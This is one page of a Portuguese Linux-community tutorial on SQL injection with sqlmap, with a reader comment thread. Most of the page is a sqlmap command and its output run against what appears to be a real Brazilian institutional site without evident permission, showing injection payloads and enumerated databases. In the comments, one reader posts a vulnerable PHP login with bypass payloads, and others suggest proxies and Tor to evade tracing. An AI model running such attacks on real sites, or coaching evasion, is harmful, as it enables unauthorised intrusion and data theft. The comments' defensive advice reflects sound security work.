Festa com SQL injection

SQL injection é uma tática hacker que utiliza uma linguagem bem conhecida: SQL (Structured Query Language) ou Linguagem de Consulta Estruturada, é utilizada pela maioria dos SGDB "software livre" do Brasil e do mundo. Ela pode ser uma solução, ou um problema na vida de um administrador de redes.

[ Hits: 69.506 ]

Por: cristofe coelho lopes da rocha em 20/05/2013


Good, let's move on!



Uma vez que conhecemos a versão do SGBD, façamos o seguinte:

# sqlmap --url "http://www.?????.XXXXX.br/XXXXX/xxxx_docs/noticia/?id_noticia=85" --dbs

Explicando 02

O parâmetro [--dbs], pesquisa os banco de dados nos SGBDs.

Código de retorno:

sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

[*] starting at: 20:31:40

[20:31:40] [INFO] using '/usr/local/lib/python2.7/
 site-packages/sqlmap/output/www.????????.XXXX.br/session' as session file
[20:31:40] [INFO] resuming injection data from session file
[20:31:40] [INFO] resuming back-end DBMS 'mysql 5.0.11' from session file
[20:31:41] [INFO] testing connection to the target url
sqlmap identified the following 
 injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id_noticia
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id_noticia=85' AND 1304=1304 AND 'JTax'='JTax

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id_noticia=85' AND SLEEP(5) AND 'kFej'='kFej
---

[20:31:43] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0.11
[20:31:43] [INFO] fetching database names
[20:31:43] [INFO] fetching number of databases
[20:31:43] [INFO] retrieved: 3
[20:31:51] [INFO] retrieved: information_schema
[20:34:44] [INFO] retrieved: dbcp???
[20:35:48] [INFO] retrieved: dbes??????????
available databases [3]:
[*] dbcp???
[*] dbes??????????
[*] information_schema

  [20:37:28] [INFO] Fetched data logged to text files under
  '/usr/local/lib/python2.7/site-packages/sqlmap/output/ 
   www.????????.XXX.br'

  [*] shutting down at: 20:37:28

Explicando 03

As linhas:
[20:31:43] [INFO] fetching database names
[20:31:43] [INFO] fetching number of databases
[20:31:43] [INFO] retrieved: 3
[20:31:51] [INFO] retrieved: information_schema
[20:34:44] [INFO] retrieved: dbcp??
[20:35:48] [INFO] retrieved: dbes???????
available databases [3]:

Informam os nomes e números de bancos, por questão ética, ocultei algumas letras.

Página anterior     Próxima página

Páginas do artigo
   1. Ética hacker
   2. Funfando bacana!
   3. Good, let's move on!
   4. Vias de fato!
   5. Defendendo-se do golpe baixo!
Outros artigos deste autor

Melhorando o nível de segurança com chflags

Esgotando os recursos

Fingerprint: Conhecimento TCP

Alta disponibilidade com CARP

Redes definidas por Software com Mininet e POX - Criando meu primeiro Controlador

Leitura recomendada

Snort + BarnYard2 + Snorby no Slackware 14.1

Como recuperar a senha o root

Quando próximo, finja estar longe; quando longe, finja estar próximo

Criando um repositório criptografado de dados com Cryptsetup (dm-crypt) sem (re)particionamento do HD

Soluções para Acesso Remoto Seguro com SSH

  
Comentários
[1] Comentário enviado por Buckminster em 20/05/2013 - 08:49h

Bom artigo.

[2] Comentário enviado por jcb em 20/05/2013 - 09:22h

Cristof, show de bola esse post, mas estou com uma duvida ... depois ter "injetado" com o sqlmap, consigo executar tais comandos como UPDATE TABLE, SELECT, WHERE ??

Abraços,

[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h

Olá Jcb,

O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.

[4] Comentário enviado por nicolas.cb em 20/05/2013 - 13:57h

Seria melhor colocar o nome do artigo como "SQLMap tutorial".
http://logdopinguim.blogspot.com

[5] Comentário enviado por jcb em 20/05/2013 - 14:14h

Cisfote,

seguinte, só vou conseguir executar a query se eu conseguir "quebrar" e ter acesso ao usuário root ou / admin database certo ? só assim terei acesso ao shell para poder executar as query´s!!!

abs,


[3] Comentário enviado por cristofe em 20/05/2013 - 10:44h:

Olá Jcb,

O SQL injection com SQLmap prova que o sistema tem vulnerabilidades com relação a injeção de sql, por tanto vc pode elaborar query sql para realizar a consulta que acha melhor. Espero ter respondido sua questão.



[6] Comentário enviado por cristofe em 20/05/2013 - 14:36h

Não Jcb, sua query pode ser injetada em um campo do formulário. Mas neste caso vc estarei tentando trazer a consulta na mao.

[7] Comentário enviado por cristofe em 20/05/2013 - 14:42h

nao sei o q o colega acima quer dizer com o comentário de SQL tutorial, mas se observar direito tive a preocupação de realizar a instrução para a defesa do ataque e utilzei um ambiente BSD. Não encontrei nenhum artigo nesta base e não encontrei nada demais no blog dele. acho que ele esta tentando dizer que ninguém comentou o vídeo dele e nem assistiu. ;-).

Aqui é VIVA o LINUX brow !!
;-)


[8] Comentário enviado por danniel-lara em 21/05/2013 - 13:36h

Parabéns pelo Artigo , ficou bagual

[9] Comentário enviado por cristofe em 21/05/2013 - 16:04h

Agradeço pelo comentário Danie-lara. Qualquer coisa estamos a disposiçao

[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?

[11] Comentário enviado por joaocpimenta em 22/05/2013 - 11:11h


[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h:

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?



Os fatores de tratamento e preocupações com o código da aplicação quanto a segurança permanecem os mesmos quando se utiliza um CMS.

Além disso, os componentes e plugins do CMS devem estar sempre atualizados. Um firewall de aplicação é sempre bem vindo.

[12] Comentário enviado por marcoscsouza em 24/05/2013 - 00:51h

Excelente!

[13] Comentário enviado por cristofe em 24/05/2013 - 23:11h

Quero lhe agradecer mesmo pelo comentário marcoscsouza. Precisamos ouvir mesmo este apoio.

[14] Comentário enviado por roberto_espreto em 26/05/2013 - 18:27h

Concordo com a opinião do "nicolas.cb", este tutorial não explica o por que uma aplicação fica vulnerável a SQLi e sim como utilizar o SQLMap.
E a dica de manter tudo atualizado não quer dizer nada. A aplicação deve fazer a sanitização dos dados de entrada de cada usuário corretamente e saber como tratar sua saída.

Exemplo: Considere o seguinte código abaixo para uma página (login.php) de autenticação simples:

$resultado = pg_query("SELECT * from users WHERE uid = '".$_GET['usuario']."' AND pwd = '".$_GET['password']."';");
if (pg_query($resultado) > 0) {
echo "Login efetuado com sucesso";
user_redireciona_painel_controle();
}

O que acontece se eu passar como parâmetro a seguinte requisição?

http://site/login.php?usuario=admin'--&password=e

Como o DB vai enxergar esta consulta?

pg_query("SELECT * from users WHERE uid = 'admin'--' AND pwd = 'e';");

E agora, consigo executar comandos no db sem usar ferramentas de automação?

requisição:
http://site/login.php?usuario=admin'; SELECT @@version;--&password=e

resposta:
5.5.31-0ubuntu0.13.04.1

Para erros de SQL entre outros, recomendo seguir os guias da OWASP:

https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29
https://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection
https://www.owasp.org/index.php/Guide_to_SQL_Injection

Claro, sobre como utilizar o sqlmap, a escrita do tutorial ficou boa! :D

Abs,



[15] Comentário enviado por cristofe em 26/05/2013 - 19:23h

Boa Roberto espreto,

Não entendi muito sobre concordar com o outro rapaz e dica de deixar tudo atualizado, como vc pode ver no início do artigo que vc nao leu todo. A intensão não é esgotar o assunto. Apenas explicar como acontece o ataque. Achei interessante postar. Quem sabe vc com toda a sua sabedoria curiosa dedica um tempo, assim como fiz, e produz algo mais completo. Criticar é fácil. De qualquer forma lhe agradeço.

[16] Comentário enviado por joaocpimenta em 27/05/2013 - 17:31h

"A dica de manter tudo atualizado não quer dizer nada"

Roberto, no caso de CMS (como perguntado acima) Joomla, WP, Drupal...Manter os components atualizados é fundamental, eles viabilizam e facilitam ataques SQLi.

Obviamente não substitui o tratamento do código, mas os bancos de dados default desses CMS muitas vezes negligenciam isso, e como não é do escopo do admin tratar esses bancos, vem a necessidade de manter atualizados os components.

Segue um exemplo de exploração em cima de components desatualizados.

http://www.exploit-db.com/exploits/17136/
http://www.exploit-db.com/exploits/15453/

[17] Comentário enviado por roberto_espreto em 27/05/2013 - 22:45h

cristofe,

Não me leve a mal, só quis dizer que não concordei com o título do artigo. Acho que deveria ser do tipo: "Explorando SQLi com SQLMap". Ao final falei que ficou bom. :)
Se você escrever para alguém com conhecimento mais crítico (exemplo, professor), a primeira coisa que ele irá perguntar será: Mas o que é SQL Injection? Imagina em um TCC. :)

joaocpimenta,

Quando disse: "A dica de manter tudo atualizado não quer dizer nada", realmente não significa muita coisa (mas deve ser feito, claro), pois existem novas vulnerabilidades que são descobertas em softwares "atualizados", os chamados 0-day. Ou seja, existe uma forma de explorar o software e ainda não existe correção para tal. Como me defendo contra este tipo de vulnerabilidade (0-day)? Existem N fatores que trabalham em conjunto em uma empresa/organização para minimizar estes riscos, exemplo, firewall de aplicação (Web Application Firewall - WAF), segmentação de ambientes, hardening de sistema operacional etc. A dica de atualização, é apenas uma, dentre várias.

Abs,


[18] Comentário enviado por cristofe em 27/05/2013 - 23:05h

Ok Roberto esperto, sem problemas. Se observar não tive realmente a intenção de esgotar o assunto, haja vista que é tenso. Todavia, o foco era mesmo o SQLMap. Não entendi o q há com o título, mas esquenta não. Somente um toque, pois as pessoas que escrevem para o VOL não ganham nada, e fazem de bom agrado.
Há Sim, deixa eu te, falar sou Professor do Instituto Federal e contribuo com o VOL desde 2006 e nunca agradei a todos. É assim mesmo !!
Forte Abraco !!!

[19] Comentário enviado por joaocpimenta em 28/05/2013 - 00:06h


[11] Comentário enviado por joaocpimenta em 22/05/2013 - 11:11h:


[10] Comentário enviado por leorocco em 21/05/2013 - 22:31h:

"É 'velho', TI não é fácil." hehe

Valeu pelo artigo, cristofe!

Mas, qual a melhor maneira de se proteger quando se usa um CMS?


Os fatores de tratamento e preocupações com o código da aplicação quanto a segurança permanecem os mesmos quando se utiliza um CMS.

Além disso, os componentes e plugins do CMS devem estar sempre atualizados. Um firewall de aplicação é sempre bem vindo.


Com certeza manter os components atualizados é uma das muitas coisas a se fazer... o WAF é uma boa, como eu havia sugerido também...

Por isso eu reforço: são N ações preventivas que não eliminam umas as outras. Um WAF não elimina a necessidade de Hardening, o Hardening não elimina a necessidade de código seguro e por aí vai...

No caso dos CMS, reforcei o aspecto de atualização, porque qualquer Zé pode rodar um exploit pronto contra uma vulnerabilidade conhecida e ter eficácia num dump de base por exemplo. É uma situação comum.

Já um 0 day é muito mais raro, mas obviamente não pode ser descartado.

Enfim... Segurança são muitos aspectos, citamos alguns superficialmente.

Abraço

[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h

Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.

Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy

sqlmap.conf

proxy = http://ip_servidor_proxy:80

[21] Comentário enviado por Rafaelmspc em 29/05/2013 - 17:01h

A opção do sqlmap --proxy=http://ip:porta e ainda se for usar tor, a opção. --tor.


[20] Comentário enviado por silent-man em 28/05/2013 - 16:34h:

Eu ia comentar sobre o 0 day, mas já adiantaram. Além do mais, acredito que estão desviando o foco do ARTIGO.

Aos "hackudos", como bem colocou o autor do artigo: "Sem esquecer da nossa Maria da Penha e a Lei "Carolina Dieckmann", não esqueçam de utilizar um proxy

sqlmap.conf

proxy = http://ip_servidor_proxy:80



[22] Comentário enviado por bruno_cavalcanti em 12/06/2013 - 09:58h

www.hidemyass.com

lista de proxy abraço

[23] Comentário enviado por marckos em 27/06/2013 - 08:59h

Mesmo ocultando partes da url é possível saber a instituição @cristofe

[24] Comentário enviado por wagnerfs em 01/10/2014 - 11:49h

Parabéns pelo artigo. Bastante elucidativo.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts